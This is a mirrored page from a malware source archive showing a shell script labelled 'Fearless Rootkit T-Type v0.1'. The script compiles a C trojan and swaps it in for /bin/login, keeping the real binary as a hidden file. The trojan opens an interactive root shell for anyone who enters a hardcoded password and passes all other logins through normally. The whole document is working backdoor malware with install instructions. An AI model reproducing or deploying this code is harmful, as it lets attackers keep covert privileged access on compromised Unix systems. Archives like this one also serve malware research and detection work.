mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
86 lines
1.9 KiB
Bash
86 lines
1.9 KiB
Bash
#!/bin/sh
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# Fearless Rootkit T-Type v0.1
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# Coded by Merlion merld_one@yahoo.com
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# To run:
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# chmod 755 droprk.sh
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# ./droprk.sh
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# Telnet to login daemon (port 513) and enter password
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# Have fun!
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arg="$1"
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if [ "$arg" = "" ]; then
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echo "Usage is: ./droprk -i (to install) -r (to uninstall)"
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exit 1
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elif [ "$arg" = "-r" ]; then
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test -e /bin/.login && rm -f /bin/login; mv /bin/.login /bin/login; exit 0 || echo "Not installed"
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elif [ $arg = "-i" ]; then
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cat > /tmp/drop.c << EOF
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#include <stdio.h>
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#include <string.h>
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#include <signal.h>
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#include <unistd.h>
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#include <fcntl.h> /* For daemon related functions */
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#define REAL "/bin/.login"
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#define TROJAN "/bin/login"
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#define ROOT "merlion"
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char **execute;
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char passwd[8];
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main(int argc, char **argv) {
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void die(char *error);
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void connection();
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pid_t pid, sid; /* Daemon variables */
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signal(SIGALRM,connection);
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alarm(1);
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execute=argv;
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*execute=TROJAN;
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if ((pid=fork()) < 0) die("Error on fork()"); /* Start daemon process */
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if (pid > 0) exit(0); /* Exit parent process */
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if ((sid=setsid()) < 0) die("Error on setsid()"); /* Create new session */
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if ((chdir("/") < 0)) die("Error on chdir()"); /* Set working directory */
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umask(0); /* Set umask to 0 to avoid unwanted rights inheritance */
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close(STDIN_FILENO); /* Close */
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close(STDOUT_FILENO); /* associated */
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close(STDERR_FILENO); /* file streams */
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/* On our own now */
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scanf("%s", passwd);
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if (strcmp(passwd,ROOT) == 0) {
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alarm(0);
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execl("/bin/sh","/bin/sh","-i",0);
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exit(0); } /* Remove?? */
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else {
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execv(REAL,execute);
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exit(0); } /* Remove?? */
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}
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void connection() {
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execv(REAL,execute);
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exit(0); }
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void die(char *error) {
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perror(error);
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exit(1); }
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EOF
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fi
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gcc -o /tmp/login /tmp/drop.c
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rm -f /tmp/drop.c
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mv /bin/login /bin/.login
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mv /tmp/login /bin/
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exit 0
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